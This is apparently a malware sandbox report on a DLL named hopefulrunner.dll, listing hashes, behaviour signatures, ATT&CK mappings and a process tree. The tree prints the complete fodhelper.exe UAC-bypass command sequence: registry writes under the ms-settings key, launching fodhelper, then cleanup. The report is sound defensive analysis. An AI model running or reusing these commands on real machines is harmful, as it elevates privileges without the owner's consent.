7126c9fe5f7ee74c890b48a0fa78481660d34ba17fee5d12cc38fb9e45ad4e92

Analysis

user interaction
yes
max time kernel
149s
max time network
126s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
22/08/2026, 03:07

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
hopefulrunner.dll
Size 107KB
Sample260822-dml2dsen31
SHA256 7126c9fe5f7ee74c890b48a0fa78481660d34ba17fee5d12cc38fb9e45ad4e92
MD5 fba21e7d04e313583c2358b4053567a7
SHA1 fedb2a83acde37eb3097b85491e299219913dcac
SHA512 c3818d9d9f5a8a520817b13a3331db625200a87ee8b1204aa3e953d3e4cb7fed40b363e127ed1af406f3bd856abb5eaedbb187b0c2f33c1d808e218eefd9ece7
SSDEEP 1536:jgPt4UBjYrAGFOi4DcMYvw6xq4hpQL/MDVjKC37REuPuJnAWnYeNLpXtghZJlRJE:MF4UBjC2Sp7RmV
TLSH
T169B3F9C2BBCBEE97CA01623055FA43291339F2D51B860B07786959310F17BE47E9BB46
MD5 SHA1 SHA512 SSDEEP TLSH

Score

5^/10

execution

Malware Config

Signatures

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\spool\drivers\color\privilege_verification.txt	rundll32.exe

Executes a command shell one-liner 1 TTPs 5 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5044	cmd.exe
1864	cmd.exe
3556	cmd.exe
1644	cmd.exe
4008	cmd.exe

Modifies registry class 11 IoCs

description	ioc	Process
Key deleted	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\ms-settings\shell\open\command	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\ms-settings\shell\open	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\ms-settings\shell	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\ms-settings	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\ms-settings\shell\open\command	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\ms-settings	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\ms-settings\shell\open	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\ms-settings\shell\open\command\ = "cmd.exe /k whoami"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\ms-settings\shell	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\ms-settings\shell\open\command	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\ms-settings\shell\open\command\DelegateExecute	reg.exe

Modifies registry key 1 TTPs 3 IoCs

Modify Registry

T1112

pid	Process
2616	reg.exe
3768	reg.exe
2352	reg.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4776	whoami.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4076 wrote to memory of 3556	4076	rundll32.exe	86
PID 3556 wrote to memory of 2616	3556	cmd.exe	88
PID 4076 wrote to memory of 1644	4076	rundll32.exe	89
PID 1644 wrote to memory of 3768	1644	cmd.exe	91
PID 4076 wrote to memory of 4008	4076	rundll32.exe	92
PID 4008 wrote to memory of 3964	4008	cmd.exe	94
PID 3964 wrote to memory of 5044	3964	fodhelper.exe	95
PID 4076 wrote to memory of 1864	4076	rundll32.exe	97
PID 5044 wrote to memory of 4776	5044	cmd.exe	99
PID 1864 wrote to memory of 2352	1864	cmd.exe	100

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\hopefulrunner.dll,#1
1⤵
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:4076
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /ve /d "cmd.exe /k whoami" /f
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3556
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Classes\ms-settings\shell\open\command /ve /d "cmd.exe /k whoami" /f
    3⤵
    - Modifies registry class
    - Modifies registry key
    PID:2616
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /v DelegateExecute /t REG_SZ /f
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1644
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Classes\ms-settings\shell\open\command /v DelegateExecute /t REG_SZ /f
    3⤵
    - Modifies registry class
    - Modifies registry key
    PID:3768
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c fodhelper.exe
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4008
- - C:\Windows\system32\fodhelper.exe
    fodhelper.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3964
  - - C:\Windows\system32\cmd.exe
      "cmd.exe" /k whoami
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:5044
    - - C:\Windows\system32\whoami.exe
        
        whoami
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4776
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg delete HKCU\Software\Classes\ms-settings /f
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1864
- - C:\Windows\system32\reg.exe
    reg delete HKCU\Software\Classes\ms-settings /f
    3⤵
    - Modifies registry class
    - Modifies registry key
    PID:2352

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads